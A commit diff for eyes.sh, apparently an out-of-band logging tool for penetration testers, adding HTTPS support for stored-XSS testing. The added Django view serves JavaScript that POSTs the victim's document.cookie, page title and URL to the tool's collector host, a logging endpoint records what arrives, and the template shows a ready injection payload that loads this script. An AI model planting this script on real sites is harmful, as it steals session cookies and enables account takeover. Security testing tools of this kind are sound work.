add https support for XSS test

README.md

@@ -1,4 +1,4 @@
-# eyes.sh 1.0.3
+# eyes.sh 1.0.4
 
 View this doc in [English](README_EN.md).
 
@@ -11,6 +11,7 @@ View this doc in [English](README_EN.md).
 
 ## Chang Log 
 
+* 2024-06-08： 增加HTTPS支持，解决XSS漏洞利用时，可能出现https后台报错 **Mixed Content Warnings (HTTPS/SSL)**
 * 2024-06-02： 修复在DNS查询中串联IP查询功能，高并发请求时，响应慢的问题
 * 2022-04-09： 增加多语言支持，添加英文翻译
 * 2022-04-06： 注册用户名，限制只允许使用字母数字

README_EN.md

@@ -1,4 +1,4 @@
-# eyes.sh 1.0.3
+# eyes.sh 1.0.4
 
 View this doc in [Chinese](README.md).
 
@@ -19,6 +19,7 @@ Demo site  [http://eyes.sh/](http://eyes.sh/)
 
 ## Chang Log 
 
+* 2024-06-06： Add SSL support, to get rid of **Mixed Content Warnings (HTTPS/SSL)** when exploiting stored XSS on https website
 * 2024-06-02： Bug fixed, a sync IP to geo location search (by HTTP) made DNS Server response too slow, especially under high concurrency queries
 * 2022-04-09： Add english translation
 

dnslog/urls.py

@@ -16,6 +16,8 @@ urlpatterns = [
     re_path(r'^dns/$', views.dns_view, name='dns_view'),
     re_path(r'^dns/delete$', views.dns_delete, name='dns_delete'),
     re_path(r'^web/$', views.web_view, name='web_view'),
+    re_path(r'^x/$', views.get_xss_code, name='get_xss_code'),
+    re_path(r'^u/(.+?)/$', views.xss_request, name='xss_request'),
     re_path(r'^web/delete$', views.web_delete, name='web_delete'),
     re_path(r'^config/$', views.config_view, name='config_view'),
     re_path(r'^payloads/$', views.payloads_view, name='payloads_view'),

logview/views.py

@@ -266,6 +266,54 @@ def web_view(request):
     return log_view(request, 'web')
 
 
+@csrf_exempt
+def get_xss_code(request):
+    code = """
+fetch('https://%s/u/%s/', {
+method: 'POST',
+mode: 'no-cors',
+body:"cookie=" + document.cookie+'&title='+ document.title + '&location='+ document.location.href
+});
+""" % (settings.DNS_DOMAIN, request.GET.get('u', ''))
+    return HttpResponse(code.strip(), content_type='text/javascript')
+
+
+@csrf_exempt
+def xss_request(request, username):
+    http_host = request.get_host().split(':')[0]
+    if http_host not in settings.ADMIN_DOMAIN:
+        return HttpResponse(request.build_absolute_uri())
+
+    users = User.objects.filter(username=username)
+    if not users:
+        return HttpResponse("No such user")
+
+    user_agent = request.META.get('HTTP_USER_AGENT') or ''
+    user_agent = user_agent[:250]
+    remote_addr = request.META.get('HTTP_X_REAL_IP') or request.META.get('REMOTE_ADDR')
+    path = http_host + request.get_full_path()
+    path = path[:250]
+
+    if not http_host.endswith(settings.DNS_DOMAIN):
+        return HttpResponse("Server Gone", status=502)
+
+    city = ''
+    request_headers = ''
+    for key in request.META:
+        if key.startswith('REQUEST_') or key.startswith('HTTP_') or key.startswith('CONTENT_'):
+            request_headers += key + ': ' + str(request.META[key]) + '\n'
+
+    if request.META.get('REQUEST_METHOD') == 'POST':
+        request_headers += '\n' + request.body.decode()
+
+    weblog = WebLog(user=users[0], path=path, remote_addr=remote_addr,
+                    user_agent=user_agent, city=city, headers=request_headers)
+    weblog.save()
+    if path.find('/rpb.png') >= 0:    # this is for AWVS Scanner
+        return HttpResponse('39a6ea3246b507782676a6d79812fa1d29e12e9c')
+    return HttpResponse('OK')
+
+
 def config_view(request):
     return log_view(request, 'config')
 
@@ -382,6 +430,7 @@ def log_view(request, type):
     context['token'] = user.token
     context['username'] = user.username
     context['admin_domain'] = str(settings.ADMIN_DOMAIN)
+    context['xss_test_domain'] = str(settings.ADMIN_DOMAIN[0])
 
     return render(request, 'views.html', context)
 

templates/views.html

@@ -269,7 +269,21 @@
               <div class="card">
                   <div class="card-body">
                       <div class="card-header">
-                        一、命令执行场景
+                        Stored XSS Test Via HTTPS
+                      </div>
+                      <div class="card-body">
+                        <p class="card-text">
+                            If you want to test XSS via https url to get rid of <b>Mixed Content Warnings (HTTPS/SSL)</b>
+                        </p>
+                        <p class="card-text">
+                          <mark>
+                              /&gt; &lt;script src=&quot;https://{{ xss_test_domain }}/x/?u={{ username }}&quot;&gt;&lt;/script&gt;&lt;
+                          </mark>
+                        </p>
+                          <p class="card-text"> Check javascript source code <a href="https://{{ xss_test_domain }}/x/?u={{ username }}">https://{{ xss_test_domain }}/x/?u={{ username }}</a></p>
+                      </div>
+                      <div class="card-header">
+                        命令执行场景
                       </div>
                       <div class="card-body">
                         <p class="card-text">
@@ -286,7 +300,7 @@
                         </p>
                       </div>
                       <div class="card-header">
-                        二、SQL注入场景
+                        SQL注入场景
                       </div>
                       <div class="card-body">
                         <p class="card-text">
@@ -315,7 +329,7 @@
                         </p>
                       </div>
                       <div class="card-header">
-                        三、XXE场景
+                        XXE场景
                       </div>
                       <div class="card-body">
                         <p class="card-text">
@@ -326,7 +340,7 @@
                         </p>
                       </div>
                       <div class="card-header">
-                        四、其他场景
+                        其他场景
                       </div>
                       <div class="card-body">
                         <p class="card-text">
@@ -527,7 +541,7 @@
             } else {
                 $('#spinner_location').hide()
             }
-            
+
         });
 </script>